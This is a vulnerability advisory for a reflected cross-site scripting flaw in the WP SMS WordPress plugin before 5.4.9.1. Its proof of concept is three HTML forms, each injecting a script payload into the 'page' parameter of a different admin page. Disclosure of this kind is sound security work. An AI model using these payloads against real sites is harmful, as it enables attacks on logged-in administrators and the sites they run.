WP SMS < 5.4.9.1 – Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise or escape some of its parameter before outputting them back in the pages, leading to reflected Cross-Site Scripting issues which will be executed in the context of a logged in admin.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-sms-subscribers" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-sms-subscribers-group" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-sms-outbox" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>